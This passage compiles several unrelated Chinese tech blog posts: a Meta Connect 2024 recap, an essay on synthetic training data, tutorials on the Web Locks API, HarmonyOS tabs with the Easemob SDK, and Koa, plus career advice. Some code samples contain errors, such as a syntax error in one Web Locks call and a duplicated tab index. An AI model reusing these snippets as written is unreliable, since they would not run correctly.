后者很轻,不会产生奇怪的光学伪影或 C stray 散光,且具有非常高的折射率,这,就是实现大视野和有效利用光子的关键。
散热
另一个挑战就是散热。我们不可能把风扇塞进一副眼镜里,怎么办呢?
唯一消除热量的方式,就是将其辐射出去。
团队做了两件事。首先,框架由散热材料镁制成。其次,Orion 中的许多定制组件也是用镁材料设计。
而且团队构建了数十个定制硅芯片,不仅节能,还能针对 AI 机器感知和图形算法进行优化。
这样,Orion 就可以采用手眼跟踪以及 slam 算法,大大降低了算法所需的功耗。
外形
Orion 的尺寸为一英尺,具有光学对准功能,精度达到了人类头发丝厚度的 1/10。
它有七个微型摄像头和传感器,尺寸很小,因而可以嵌入镜框边缘。
Meta 表示,在目前最小的眼镜外形中,他们实现了可用的最大视野。
这使得数字内容能与我们所看到的世界融为一体。
全新互动模式:肌电图腕带
传统的 AR 眼镜,是用语音控制和手眼跟踪来导航用户界面。
但 Meta 认为,我们还需要一种更谨慎、私密的全新方式,跟 AR 眼镜进行交流。
这就是全新上线的肌电图腕带和眼球注视功能。
腕带会检测你的神经运动信号,这样你就可以用手势进行点击。
只需看着目标,就可以进行选定。
总之,Orion 的输入和交互系统,将语音、眼镜注视、手部追踪和 EMG 腕带无缝结合,让我们可以更轻松、更快、更舒适地操作。
AR 眼镜能否成为主流?Meta 表示,只要解决了这两个问题,就能实现。
第一,能否实现根本性的技术突破,比如将大显示屏融入一副普通眼镜中?
第二,什么用例是你只能在 AR 眼镜上操作,不能在其他设备上完成的?
而 Orion 原型,就是 Meta 对这两个问题的回答。这个原型是对未来的一瞥,现实已触手可及。
虽然作为消费产品,它的价格仍然昂贵得吓人,但毫无疑问,它可能是未来最先进的消费电子产品,是自智能手机以来最有影响力的新设备。
在下一波以人为本的计算浪潮中,借助 Orion,Meta 又迈出了重要一步。
与此同时,戴上头显办公,也是一个不错的选择。
Meta 将微软办公软件集成到应用之中,画布延展,多人协作,打工人都不曾想到,未来办公这么美好。
很快,Quest 头显也将轻松连接到 Windows 11 个人电脑上,通过键盘直接配对。
电脑屏不够用,也不用外接显示屏了,一个 Quest 头显就能实现。
Meta 称,我们正在建设的:不是下一个游戏平台,而是下一个计算平台。
在这个平台中,你可以看电影、听音乐、做电子表格、与朋友一起玩游戏,闲逛,甚至聊天。
因此,计算平台系统 Horizon OS,便是开启这一幕最理想的界面。
会上,Meta 还公布了基于 Horizon OS 平台上工具更新。
主要有扩展混合显示功能的套件,比如音频到表情、声线追踪(ART)、微手势、直通摄像头访问 API 等。
如下,是通过微手势触发移动的示例。
另外,在虚拟化身上更新,Meta 计划让照片在虚拟空间动起来。
这就非常类似,苹果 Vision Pro 中的「空间视频」。
这里,Meta 将其称之为 Hypersscape,可以将你带入照片中的虚拟世界,就像是在一个平行时空中的自己。
这背后就利用高斯渲染技术,通过云渲染和流媒体方式,让其在 Quest 3 头显中活灵活现。
小扎在主旨演讲中,展示了纽约 Daniel Arsham 的艺术家工作室。
通过手机扫描房间,并在 Horizon 中便可轻松将物理世界,带到数字世界中。
根据官方定价,配备 128GB 入门级 Quest3S,仅需 299.99 美元。256GB 存储空间,售价 399.99 美元。
想要直通顶级体验,那就得配上 512 GB Quest 3。
新增记忆能力,Ray-Ban 眼镜再升级
另一边,首发自研 AR 眼镜之外,Meta 还为 Ray-Ban 眼镜更新了一些新功能。
几个月前,集成 Meta AI 助手眼镜,大秀了一场。
这次,Meta 称不用说「嘿,Meta」,直接用唤醒词即可开启对话,让人与设备之间交谈更丝滑。
比如,当你拿起面前这件衣服,盯着它并表示,「帮我记住这件夹克,这样我就可以向 Nas 展示」。
同时,Ray-Ban 眼镜新增了记忆功能。
假设当你打飞的到了某个地方时,不必绞尽脑汁记住自己在哪里,眼镜就可以为你代劳了。
而且,更贴心的是,你可以用自己声音设置一个提醒——安全着陆时,三个小时内给妈妈发短信。
眼睛看哪,Ray-Ban 便会指向哪。
比如,看着传单上的电话号码、或者二维码,眼镜可以根据你所看内容,采取行动。
另外,眼镜的视频输入正添加 Meta AI 助手支持,方便获得实时的帮助。
当你去另一座城市,遇到新的地标,或者想要了解下一步旅行计划,直接可以与 Meta AI 实时交流。
大会上,Meta 还预告了下一个新功能——实时翻译。
当你与西班牙语、法语、意大利语的人交谈时,可以通过眼镜的开耳扬声器,直接听到的是「英语」的版本。
小扎现场和同事演示了,西班牙语和英语如何无缝交流精彩一幕。
这简直就是异域旅行者们的福音,完全无障碍畅玩全世界。
总结一波:Quest 3S 头显、雷朋智能眼镜、全息 AR 眼镜、Llama 3.2 大模型…… 这届 Meta Connect 2024 大会,小扎赢麻了。
参考资料:
来源:juejin.cn/post/7418507128871993363
高质量数据不够用,合成数据是打开 AGI 大门的金钥匙吗?
编者按: 人工智能技术的发展离不开高质量数据的支持。然而,现有可用的高质量数据资源已日渐接近枯竭边缘。如何解决训练数据短缺的问题,是当前人工智能领域亟待解决的一个较为棘手的问题。
本期文章探讨了一种经实践可行的解决方案 —— 合成数据(Synthetic Data)。如 AlphaZero、Sora 等已初步证实了合成数据具备的巨大潜力。对于语言模型来说,虽然要生成高质量的合成文本存在一定难度,但通过优化现有数据、从多模态数据中学习等策略,或许能够大幅降低对新数据的需求量。
如果合成数据真的能解决训练数据匮乏的难题,其影响必将是极其深远的。文章进一步分析了可能产生的影响:如互联网行业可能会被重塑、反垄断审查可能进一步加强、公共数据资源会获得更多投资等。不过现在做出这些预测或许还为时尚早,我们需要保持冷静,耐心观察合成数据这一技术在未来会取得何种突破性进展。
本文直指人工智能发展面临的一大瓶颈 —— “高质量数据的日益枯竭”,并提出了一种有争议但值得探索的解决方案,极具启发意义。我们后续会持续关注这一技术领域的最新进展,敬请期待!
作者 | Nabeel S. Qureshi
编译 | 岳扬
大语言模型是在海量数据上完成训练的,数据集规模堪比众多图书馆的藏书总和。然而,如果有一天我们用尽了所有可用的数据,该怎么办呢?图片来源:Twitter[1]
01 数据不够用?
现代大语言模型(LLMs)的一个关键事实可概括总结为:数据为王。人工智能模型的行为很大程度上取决于其训练所用的数据集;其他细节(诸如模型架构等),只是为数据集提供计算能力的一种手段。拥有一份干净的、高品质的数据集,其价值不可估量。[1]
数据的重要地位在人工智能行业的商业实践(AI business practice)中可见一斑。OpenAI 近期宣布与 Axel Springer、Elsevier、美联社及其它内容出版商和媒体巨头达成数据合作;《纽约时报》(NYT)最近起诉 OpenAI,要求停用利用 NYT 数据训练的 GPT 模型。与此同时,苹果公司正以超过五千万美元的价格,寻求与内容出版商(publishers)的数据合作。在当前的边际效益**(译者注:边际效益(Marginal Benefit)是一个经济学概念,指的是在增加一单位的某种投入(如生产中的劳动力、原材料或者服务中的员工时间)时,所获得的额外收益或价值的增加。)下,模型从更多数据中获取的利益远超单纯扩大模型规模带来的收益。
训练语料库(training corpora)的扩容速度令人咋舌。世界上首个现代 LLM 是在维基百科这一知识宝库上训练完成的。GPT-3 在 3000 亿个 tokens(包括单词、词根或标点等)上进行训练,而 GPT-4 的训练数据量更是达到了惊人的13万亿个 tokens 。自动驾驶汽车是在数千小时的视频录像资料中学习、掌握驾驶技巧的;在编程辅助方面,OpenAI 的 Copilot,依托的是来自 Github 上数百万行人类编写的代码。
这种情况会一直持续下去吗?2022 年发表在 arXiv[2] 上的一项研究表明:我们正逼近耗尽高质量数据的边缘,这一转折点预计会在2023年至2027年间到来。 (这里所谓的“高质量数据”,涵盖了维基百科(Wikipedia)、新闻(news)、代码(code)、科学文献(scientific papers)、书籍(books)、社交媒体对话内容(social media conversations)、精选网页(filtered web pages)以及用户原创内容(如 Reddit 上的内容)。)
研究估计,这些高质量数据的存量约为 9e12 个单词,并且每年以 4 %到 5 %的速度增长。 9e12 具体有多大?举个例子,莎士比亚全集的字数约为 90 万(即9e5),相比之下,9e12 这个数量足足是莎翁作品字数总和的 1000 万倍之巨。
据粗略估计,要达到真正意义上的人类级人工智能(human-level AI),所需数据量可能是当前数据量的 5 到 6 个数量级之上,换言之,至少需要 10 万至 100 万倍的数据量扩充。
回顾一下,GPT-4 使用了 13 万亿个 tokens 。不过还有很多尚未充分开采的领域里潜藏着丰富的数据等待挖掘,比如音频与视频资料、非英语数据资料、电子邮件、短信、推特动态、未数字化的书籍,以及企业私有数据。通过这些渠道,我们或许能再获得比目前有用数据多 10 倍甚至 100 倍的数据,然而,要再获得多 10 万倍的数据却如同天方夜谭。
一句话,我们手中的数据还远远不够。
除此之外,还有一系列现有的不利因素可能让获取优质数据变得更加棘手:
- 那些依赖用户来生成内容(User-generated content, UGC)的网站,比如Reddit、Stack Overflow、Twitter/X等,纷纷关上了免费获取数据大门,对数据使用权开出了天价的的许可费。
- 作家、艺术家,甚至像《纽约时报》这样的媒体巨头,都在维权路上高歌猛进,抗议其作品未经许可就被大语言模型拿去“学习”。
- 有人担忧,互联网正逐渐被大语言模型生成的低质内容所淹没,这不仅可能引发模型的“drift”(译者注:在模型持续学习或微调的过程中,如果新增数据质量不高,可能引导模型产生不理想的变化。),还会直接拉低模型响应的质量。
02 合成数据:超级智能的新曙光?
基于前文的分析,我们或许会得出一个比较悲观的结论:我们目前拥有的数据不足以训练出超级智能(superintelligence)。然而,现在做出这样的判断未免操之过急。解决这一问题的关键可能就在于合成数据的创造——即机器为了自训练(self-training)而自主生成的数据。
尽管听上去像是天方夜谭,但事实上,一些前沿的现代 AI 系统都是通过合成数据训练出来的:
- 专攻棋类的 AlphaZero[3] 就是使用合成数据训练出来的。具体而言,AlphaZero 通过与自身对战来生成数据,并从这些对局中汲取教训,不断优化策略。(这种数据之所以被称为合成数据,是因为它完全不需要借鉴真实人类的棋局记录。)
- 再来看看 OpenAI 的最新成果之一 —— Sora[4],这款视频生成模型能够依据简单的文字指令,创造出长达 1 分钟的虚拟视频。它的训练很可能是基于电子游戏引擎(大概率是Unreal Engine 5)生成的合成数据。也就是说,Sora 不仅通过 YouTube 视频或现实世界的电影来学习,游戏引擎构建的虚拟环境同样成为了它的学习素材。
所以,这项技术已在棋类博弈与视频生成应用中得到了证实;真正的问题在于它能否同样适用于文本处理。 在某些方面,制作供训练使用的高质量视频数据,比生成文字训练数据容易得多:只需一部 iPhone,就能拍摄视频捕捉现实生活的真实面貌。然而,要想让合成的文本数据成为有效的训练数据,它必须是高质量、有趣的,而且在某种意义上是 "真实的"。
关键的一点是,创造有价值的合成数据,不仅仅就是从无到有的创作文本那么简单。比如,一份最新发表的论文[5](2024年1月)指出,利用大语言模型改进抓取到的网络数据的表达方式,不仅能优化训练效果,还能提升训练效率。有时,仅通过筛选并移除数据集中质量最差的数据(这一过程称为“数据集剪枝”),就能大幅增强大语言模型的表现。有一项针对图像数据的研究更是惊人地发现,要达到模型的峰值性能(peak model performance),甚至需要舍弃数据集中高达90%的非关键信息!
如今,我们已拥有能像孩童般从视频中观察与学习的大语言模型。当我们弄清楚如何获取更高质量的多模态数据(包括视频、音频、图像及文本)的技巧,我们可能会惊喜地发现,大语言模型填补其世界观缺失部分所需的训练数据量,远比原先设想的要少得多。
03 解决合成数据生成问题将带来的影响
- 攻克合成数据的生成这一难题将极大加速人工智能领域的进步:考虑到当前研究者们对合成数据开发的投入、解决这一问题的巨大动力以及这一难题在其他领域已取得的成功,我们有理由相信,在未来几个月至数年内合成数据的生成将取得重大进展,进一步推动 AI 技术的飞速发展。而这一方面的技术突破,很可能会被各大企业严密保护为商业机密。
- 互联网行业或将重塑,减少对广告的依赖程度:传统上严重依赖广告收入的互联网企业,可能转向一种全新的商业模式,聚焦于训练数据的生成、创造。如 Reddit 这家近期申请 IPO(S-1) 的互联网巨头,其收入的 10%(即约 6000 万美元)来源于数据销售,且预计这一比例将持续上升。互联网上的用户数据源源不断(包括 reviews、tweets、comments 等),获取这些新鲜数据将非常有价值。如果这一点正确,各大企业将竞相采取措施,收集更多高价值的人工生成数据,助力人工智能模型的训练。
- 反垄断审查将趋严:独占如 Reddit、Elsevier 这类高价值数据源所引发的反垄断问题,预期将受到更为严格的审查。大型科技公司凭借其雄厚的财力和庞大的数据集,将进一步巩固其市场主导地位,加剧小规模企业参与竞争的难度。
- 开源项目可能会落后:监管部门需思考如何确保数据集的公平获取途径,可能会将数据集视作公共基础设施,或在特定条件下强制执行数据共享相关要求。构建更多高质量、经过筛选和整理的数据集,对学术界和开源社区维持竞争力尤为重要。各国政府也许会主动建立中央数据资源库,供所有大语言模型(LLM)开发者使用,从而帮助创造公平的竞争环境。不过短期内,开源项目开发者只能继续在 private labs (译者注:由私营企业或非公有实体运营的研究实验室,它们的工作成果、研发的技术和产生的数据往往被视为公司的知识产权,对外保密。)制作的优秀模型基础上对其进行微调,这意味着开源项目在可预见的未来仍可能落后于 private labs 。
- 数据被共享为公共资源:某些类型的数据具备公共属性,往往因投资不足而未得到充分开发。比如,一个汇集人类伦理道德偏好(human ethical preferences),通过对比分析形成的公共数据集,便是一个适宜公开资助或 AI 慈善项目投资的对象。类似的案例不胜枚举。
在科幻小说《沙丘》中,迷幻剂 melange(小说中俗称“香料”),被誉为银河系中的无价之宝。基于以上种种,埃隆·马斯克(Elon Musk)不久前在推特上的言论[6]——“数据即是香料(data is the spice.)”——便显得极为意味深长。AI 实验室都对此心领神会,正紧锣密鼓地“捣鼓”数据。
【注释】有一篇由 OpenAI 研究员撰写的题目为《the ‘it’ in AI models is the dataset(AI模型的核心在于数据集)》( nonint.com/2023/06/10/… )的精彩博客文章,作者一针见血地指出:
“AI 模型的行为特征并非取决于其架构设计、超参数设置或是优化器算法的选择。真正起决定作用的是数据集本身,除此之外别无他物。所有的架构、参数和优化方法,归根结底都是为了更高效地处理数据,逼近数据集的真实表现。”
Thanks for reading!
Nabeel S. Qureshi is a Visiting Scholar at Mercatus. His research focuses on the impacts of AI in the 21st century.
END
参考资料
[3]en.wikipedia.org/wiki/AlphaZ…
本文经原作者授权,由 Baihai IDP 编译。如需转载译文,请联系获取授权。
原文链接:
来源:juejin.cn/post/7384347818384850984
前端可以玩“锁”🔐了
大家好,我是CC,在这里欢迎大家的到来~
“锁”经常使用在多进程的语言理和数据库事务的架构当中,现在 Web API 当中也提供了“锁”- Web Locks API。
领域
在浏览器多标签页或 worker 中运行的脚本中获取锁,执行工作时保持锁,最后释放锁。
锁的范围仅限于同一源内
请求锁
同一源下,当持有锁时,其他相同锁的请求将排队,仅当锁被释放时第一个排队的请求才会被授予锁。
回调函数执行完毕后锁会自动释放
navigator.locks.request('mylock', {}, async (lock) => {
console.log(lock);
});
在这里我们能看到 request 方法的第二个参数(可选),可以在请求锁时传递一些选项,这个我们在后边会介绍到。
监控锁
判断锁管理器的状态,有利于调试;返回结果是一个锁管理器状态的快照,标识了持有锁和请求中的锁的有关数据,像名称、client_id和模式。
navigator.locks.query().then((locks) => {
console.log(locks);
});
实现
接下来将使用请求锁的可选参数实现以下内容:
从异步任务返回值
request() 方法本身返回一个 Promise,一旦锁被释放,该 Promise 就会 resolve。
const result = await navigator.locks.request('ccmama'}, async (lock) => {
// 任务
return data;
});
// 拿到内部回调函数返回的 data
console.log(result);
共享锁和独占锁模式
配置项 mode 默认是 'exclusive',可选项还有 'shared'。
锁只能有一个持有者,但是可以同时授权多个共享。
在读写模式中经常使用 'shared' 模式进行读取,'exclusive' 模式用于写入。
navigator.locks.request('ccmama', {
mode: 'shared',
}, async (lock) => {
// 任务
});
📢
持有 'exclusive' 锁,同名 'exclusive' 锁排队等候
持有 'exclusive' 锁,同名 'shared' 锁排队等候
持有 'shared' 锁,同名 'shared' 锁也可访问同一资源
持有 'shared' 锁,同名 'exclusive' 锁排队等候
条件获取
配置项 ifAvailable 默认 false,当设置 true 时锁请求仅在不需要排队时才会被授予,也就是说在任务没有其他等待的情况下锁请求才会被授予,否则返回 null。
navigator.locks.request('ccmama', { ifAvailable: true }, async lock => {
if (!lock) return;
// 任务
});
注意:同名锁
防止死锁的应急通道
配置项 steal 默认 false,当设置为 true 时任何持有的同名锁将被释放,并且请求将被授权,抢占任何排队中的锁请求。
navigator.locks.request('ccmama', { steal: true }, async lock => {
// 任务
});
⚠️
使用要小心。之前在锁内运行的代码会继续运行,并且可能与现在持有锁的代码发生冲突。
中止锁定请求
配置项 signal 是 AbortSignal 类型;如果指定并且 AbortController 被中止,则锁请求将被丢弃。
try {
const controller = new AbortController();
setTimeout(() => controller.abort(), 400);
navigator.locks.request('ccmama', { signal: controller.signal }, async lock => {
// 任务
});
} catch(ex) {}
// 或
try {
navigator.locks.request('ccmama', { signal: AbortSignal.timeout(1000) }, async lock => {
// 任务
});
} catch(ex) {}
⚠️
超时时会报出一个异常错误,需要使用 try catch 捕获
参考文章
可能理解并不一定到位,欢迎交流。
来源:juejin.cn/post/7382640456109490211
为什么年轻人要珍惜机会窗口
今天来跟大家分享一下什么是机会窗口以及为什么要珍惜机会窗口?首先从我个人的经验出发,我觉得不管是在学习,在职业,在投资,现在社会各个方面都是有很多非常好的机会的。但是这些好的机会又不经常有,那到底如何定义好机会,又如何抓住机会?那这里面先说一下什么叫好的机会。
什么是好机会
就以职业的成长性来说,互联网整个行业的二十年蓬勃发展就是极好的一个机会,大概从20年起到如今这个时间段都有一个非常好的机会,那指的就是哪怕你的能力稍微弱一点,你都能够在这个机会里面找到自己的红利。比如我有很多稍微找我几届的同事或者主管,他们可能在学历或者能力方面都没有特别高,但是正因为赶上了红利,他们的晋升特别快,拿到了股票也特别多,我好几个同事基本上在上海或者杭州都有两三套房,并且还有大量的现金。甚至有一些大专的同事,都拿到大量的股票,接近财富自由。
所以这种机会窗口是整个行业变革,整个现代社会发展带来的,它打开了一扇可以改变命运的窗口。这种时间窗口相对来说会比较长,特别是相对一个人的职业三十年来说。而且这种行业的机会,可能就有持续五年或者十年这样的时间。而在这样的机会窗口内,你不管是哪个点入局都能吃到一定的发展红利。
比如我记得早个五六年,很多人在找工作的时候,往往会纠结于去百度还是腾讯或者是阿里,但实际上我们发现站在更高,更长远的角度来说,他们选择任何一个公司收获到的都非常的丰厚,相比现在的毕业生,哪怕是双985可能也是无法找到一份工作,想想那时候是不是很幸福?在这种大背景下,在机会窗口来临的时候,你选错了,选的不是很好,都没有关系,你都能够收获到足够的红利,最多就是你赚50万还是100万的区别,而时代没有的话,上限就是赚10万。
除了这个例子之外,还有一个红利机会点就是房地产。我知道在差不多2005年~2018年这个时间段里面,只要你买房基本上都是赚的,所以我很多同学往往都有一个非常巨大的认知论,就认为他买房赚钱是因为他牛逼,他地段选的好,户型选的好,他完全归因于他买的房价大涨是因为眼光好,怎么样怎么样才能赚到钱,而实际上这只是时代给他的红利而已,其实再往回倒个七八年你在哪里买房都是赚的。但实际上以我的经验来看,不管那个时候,哪怕你在小城市买一套房子,涨幅可能都是两三倍的。
所以当时的眼光和认知和选择能力确实会决定了你的资产增值多少,但是只要在那个红利周期内,你做的选择大概率都不会太差,这也是雷军所说,站在风口上的猪也可以飞起来,说的就是这个道理。
这就是整个时代给我们的窗口,这个窗口可能会给的特别大,而且很多时候在这个周期里面,你根本感觉不到这是时代给你的机会,你只是做你正常的操作,到了指定的时间去指定的公司,去选合适热门专业,去买认为合适的房子,你觉得很自然,但实际上从后面再看,你会发现你在十年前做的选择和十年后做的选择成本、难度以及你付出的代价完全不一样。同样是89平米的房子,放在2010年就是3000一平米,放在现在就是8万一平米。同样是去阿里巴巴,以前大专就行,现在本硕985都直接被Pass。
上面说的都是比较大的机会,那我再说一个相对来说比较小的窗口。这些非常大的机会窗口还是依赖于各种不同不一样的大背景,但是有很多机会并没有像这种时代给的机会一样,可以有长达五年,十年你可以认真去选,你可以去大胆的犯错和试错,选错了你重新再来一次就可以了,但是我们在实际工作里面,我们碰到的一些机会点,其实时间窗口非常的短。如果你稍微不慎,可能就错过了这个机会,而等待下一个机会就不知道猴年马月了,所以我们就要在这个地方要抓住那稍纵即逝的机会窗口。
我举一个例子,比如说这两年是低代码的元年,而这个时候如果你之前刚好一直在从事低代码或者低代码相关的工作,那么到了这两年,你的议价空间是非常大的,因为很多公司都在如火如荼的去做这块的业务,在短时间内是没有办法慢慢培养出或者招聘到这类专才,所以往往公司愿意溢价去花费大价钱去购买和招聘相关的同学,所以这个时候如果你抓住了机会,你可以得到一个很高的议价,比如说层级直接变高了一层或者你的总包直接变成了两倍,甚至非常有机会作为骨干负责人拉起一支团队,那么你进入管理岗位也就水到渠成了。
为什么机会有窗口
而这种机会窗口往往只有半年,一年或者最多两年,因为到了一两年之后,有很多的同学也感知到了这个先机,往往就会把自己的精力投到这一块来,那么意味着供需就发生了变化,供应方就会越来越多,那么就使得需求方有溢价的能力,这个时候到了两年之后可能就完全拉平了,这个低代码行业跟其他行业变得完全一样,甚至再往后人才堆积的更加的过分,你可能连这个机会都没有了,只剩下被选择的命运。历史历代,都演绎着完全相同的剧本。
到了直播行业也是一样,在直播刚刚兴起的时候,如果你恰巧做的是相关业务,这个时候你跳过去往往会能够涨薪特别高,工资的幅度也是特别高,所以在这个时候你有充分的议价权,但是窗口我们也知道往往只有几年,而且在互联网这么变化快的情况下的话,时间可能会进一步缩短,比如这两年已经到了直播的红海,基本上该用直播的用户已经到顶了,这个时候虽然还有大把的招聘,但需求实际上已经是强弩之末了。
随着人口红利到底的时候,我们所谓的互联网这些机会的窗口实际上已经是没了,变得普普通通的一份职业而已,而且这个时候入局往往有可能会遭受灭顶之灾,比如说最近就听说到整个直播行业要整顿,一旦业务发生了整顿,对人才的需求的调整就会变得非常的明显,往往再激烈一点可能就会快速裁员,不要说红利了,拿到的全部是负债。
再往小的一些说,可能针对每个人的职业窗口也是不一样的,比如说对于有些大企业,有一些管理的岗位,但往往是因为原管理的同学离职或者新增的岗位,这个时候会有短时间的招聘名额来等待这个位置,而一旦你错过了这个机会以后,这个位置没了以后,可能这个坑位就不需要人了。这个时候不是你能力好不好的问题,是有没有坑位的问题。
所以好机会往往只是一瞬间而已,很多同学担心稳定性,希望在一个地方一直苟着求稳定,这个其实跟体制内没有任何的区别。风险和收益从哲学层面上来说,都是相对的,或者说没有决定的风险,也没有决定的稳定,风险和稳定阶段性只能取其一,长期看稳定和风险是互相转化的。我经常听到有人说大厂稳定,但是实际上我们在分析背后的原因,大厂稳定本身就是个伪命题。又稳定,又高薪,又轻松,这是不可能的。所以我称之为「工作不可能的三角特点」。
但很多人说我能否要里面的两个因素,我要稳定要高薪但是我愿意加班吃苦。
对不起,这个其实也是不可能的。我们可以站在企业的角度来考虑一下,一旦我这个工作特别的高薪又稳定的情况下的话,那虽然你干的很苦,但我始终在人力成本特别充分的情况下的话,公司能找到更好的替代者来。同样的工作量,但是花更少的钱来解决,说白了大部分所谓的高薪岗位没有什么严格的技术壁垒。
所以我们说过的,站在更大的角度来说,互联网也是一个机会窗口,因为过了这个窗口之后,可能你想加班加点熬夜,你可能都拿不到这样的一个薪水和待遇。
如何抓住机会窗口
反而换一个角度来说,我们一定要抓住这样的机会窗口,这样的机会窗口可以给我们的发展带来一个质的变化,当然也有很多时候我们会做一些错误的选择,比如说我们找到了一个我们认为好的机会,但实际上这个机会是有问题的,比如说我去了某一个创业公司,原本以为会有巨大的发展,但是后面倒闭了。当然这个也是一种博弈,这里面非常考核一个同学的综合的认知能力、选择能力和纠错能力。不仅要判断能否找到合适的机会,还要在碰到了困难的时候能够去快速的去纠错。
从我的例子来看,如敢于去挑战这种新机会的同学,哪怕其中有一些不如意的变动,但是大概率他的结果大概率不会太差。比如我有个同学从集团跳槽到蚂蚁国际,呆了一年就觉得部门有问题,后面又去了字节头条,现在也非常稳定。还有一个同学出去创业,也不顺利,但是后面又折腾成了另外一个大型公司的高级主管。
反而是事事求稳,稳住某一个大厂,稳住某一个职位,稳住每一个薪水,到了最后往往收益会越来越小,直到最后完全被动。整体上来看,整个社会会把更多的报酬分向于这些敢于挑战,敢于冒险,敢于拼搏的人的,而不会把大量的资源分享到又稳定,又顽固,又不愿意改变的这群人,这是当前社会的游戏规则。这个在大数据上面完全是合理的,只不过落到每个人的头上的尺度和比例会有点不一样。
所以站在我现在的角度上来看,我觉得所有的想向上奋进的同学都应该主动抓住变革的机会。因为这个好机会可能对在你的人生来说,几十年可能就这么一两次,甚至有些都是完全为你量身定做的机会,如果你一旦错过了以后,可能你抓住下一个机会的成本和代价就变得会非常的大。
尤其是年轻人更应该去折腾,因为你的试错的成本会非常低,当你发现了你的错误决策以后,你能够快速的去更正,去变化,所以在年轻的时候往往就应该多折腾一点,善于去准备好去等待好的机会,如果机会来了,大胆的出击。
来源:juejin.cn/post/7296865632166805513
【实现环信 SDK登陆跳转至Harmony 底部导航栏】
1.在 Index.ets 的 aboutToApper 方法中 实现环信SDK 初始化
代码块(可直接 copy):
let optionss = new ChatOptions("输入管理后台注册的环信 APPkey");
//管理后台网址:https://console.easemob.com/user/login
//环信初始化
ChatClient.getInstance().init(getContext(),optionss)
2.登录环信SDK并跳转至少导航栏页面
代码块://userID 自定义 String类型参数 =环信id
//userPasswrod 自定义 String类型参数 登录的密码
ChatClient.getInstance().login(this.userID,this.userPassword).then(()=>{
//登录成功后跳转到导航栏的指定类中
router.replaceUrl({url:'pages/Pages'})
}).catch((e:ChatError)=>{
//登录失败则提示错误信息
console.log("ccc== "+e.errorCode,"")
})
3.在 Harmony 平台下自定义容器
代码块:
@State currentIndex: number = 0
//定义TabsController控件
private Controller: TabsController = new TabsController()
//自定义布局 该布局定义时 可以卸载 页面的 build 方法外面
@Builder
TabBuilder(title: string, index: number, selectedImage: Resource, normalImage: Resource) {
//定义一个容器
Column() {
//容器的图片
Image(this.currentIndex === index ? selectedImage : normalImage)
.height(30)
.width(30)
//容器的文本
Text(title)
.margin({ top: 5 })
.fontSize(10)
.fontColor(this.currentIndex === index ? $r('app.color.start_window_background') :
$r('app.color.start_window_background'))
}
//居中
.justifyContent(FlexAlign.Center)
//容器布局的宽占满
.width('100%')
//容器布局的高尺寸 25
.height(25)
//点击事件改变数字
.onClick(() => {
this.currentIndex = index
this.Controller.changeIndex(this.currentIndex)
})
}
4.build 中通过 Tabs 组件实现底部导航栏
代码块:
build() {
//必写
Tabs({
barPosition: BarPosition.End,
controller: this.Controller
}) {
TabContent() {
//首页
}
.padding({ left: 12, right: 12 })
//背景颜色
.backgroundColor($r('app.color.start_window_background'))
//自定义布局的 名字 index位置,点击后和点击其他需要展示的图片
.tabBar(this.TabBuilder('首页', 0, $r('首次展示的图片'), $r('切到其他页面后展示的图片')))
TabContent() {
//会话列表页
}
//内边距
.padding({ left: 12, right: 12 })
//背景颜色
.backgroundColor($r('app.color.mainPage_backgroundColor'))
//自定义布局的 名字 index位置,点击后和点击其他需要展示的图片
.tabBar(this.TabBuilder('会话', 1, $r('被点击后展示的图片'), $r('被动展示图片')))
TabContent() {
//我的详情页
}.padding({ left: 12, right: 12 })
//背景颜色
.backgroundColor($r('定义背景颜色'))
// //自定义布局的 名字 index位置,点击后和点击其他需要展示的图片
.tabBar(this.TabBuilder('我的详情', 1, $r('被点击后展示的图片'), $r('被动展示图片')))
}
.width('100%')
.backgroundColor(Color.White)
.barHeight(56)
.barMode(BarMode.Fixed)
.onChange((index: number) => {
this.currentIndex = index
})
}
向全栈靠齐的前端分享
背景与思考
前端在很多后端开发人员中,总是觉得没啥技术含量。尤其是在老java眼中,深深感觉存在严重的鄙视链。然后就是自己的职业规划,也不想一直做前端敲代码。毕竟自己的付出不少,也想收获属于自己的成就感。然后自己的横向发展就成了必然。
后端技术首推Node
- 前后端编程环境和语法一致,上手非常快。
- 轻量级,部署简单。
- 生态丰富,文档颇多,碰到问题,百度查询方便。
- 高效的异步I/O模型,易处理大并发和连接。
Node框架推荐Koa
- 相对于express,Koa更加的轻便,上手主打一个简单易学好用。
- 语法上它的中间件和前端的模块化很像,开发思路一致。
- 前端熟悉的async await,promise方式,很好的解决了多层嵌套,地狱回调问题。
- 借助 co 和 generator,很好地解决了异步流程控制和异常捕获问题。
学习推荐
我当初学习也是想看了一下官网,发现确实如介绍般的简单,但是对于入门者来说,有点简单的过分了。在此推荐阮一峰老师的网络日志(不是打广告,确实是我当初前端起步阶段的老师之一,受益匪浅)。
主要代码解析
项目结构
app.js源码
const Koa = require('koa');
const Router = require('koa-router');
// 跨域模块
var cors = require('koa2-cors');
//文件模块
const fs = require('fs');
const { historyApiFallback } = require('koa2-connect-history-api-fallback');
//静态文件加载
const serve = require('koa-static');
//路径管理
const path = require('path');
//koa-body对文件上传进行配置
const koaBody = require('koa-body')
//实例化koa
const app = new Koa();
app.use(historyApiFallback());
app.use(cors());
const router = new Router();
const bodyParser = require('koa-bodyparser');
const controller = require('./controller');
app.use(async (ctx, next) => {
ctx.set("Access-Control-Allow-Origin", "*")
await next()
})
app.use(bodyParser());
// 处理跨域
app.use(controller());
app.use(koaBody({
multipart:true,
formidable:{
maxFileSize:50000*1024*1024, //设置上传文件大小最大限制,默认为2m,2000*1024*1024
keepExtensions: true // 保留文件拓展名
}
}))
// 1.主页静态网页 把静态页统一放到public中管理
const main = serve(path.join(__dirname) + '/build');
//配置路由
app.use(router.routes()).use(router.allowedMethods());
const port = 5000;
app.use(main)
app.listen(port, () => {
console.log(`server started on ${port}`)
});
依赖包讲解
const Koa = require('koa');
这是引入koa框架,这是重中之重,只有引入了才能够在项目中使用。在项目中会通过new来实例化,比如代码中的const app = new Koa();
。然后再定义一个监听的端口,app.listen()
方法来进行监听。
const fs = require('fs');
这是koa自带的文件模块,如果你想对系统文件进行读取,修改。或者文件上传保存,都离不开整个fs模块,fs.readFile
和fs.readFileSync
。
const koaBody = require('koa-body')
Koa-body是基于Koa的中间件模型构建的,主要用于文件上传,以及在中间件中对请求体的解析。对请求体的解析中,我们主要使用koa-bodyparser,它可以将http请求中的数据,解析成我们需要的JavaScript对象。
const Router = require('koa-router');
```门口
Router模块就是路由,此路由和前端路由有差异,此路由可以理解为前端理解的api接口,只是叫法不一样而已。
```js
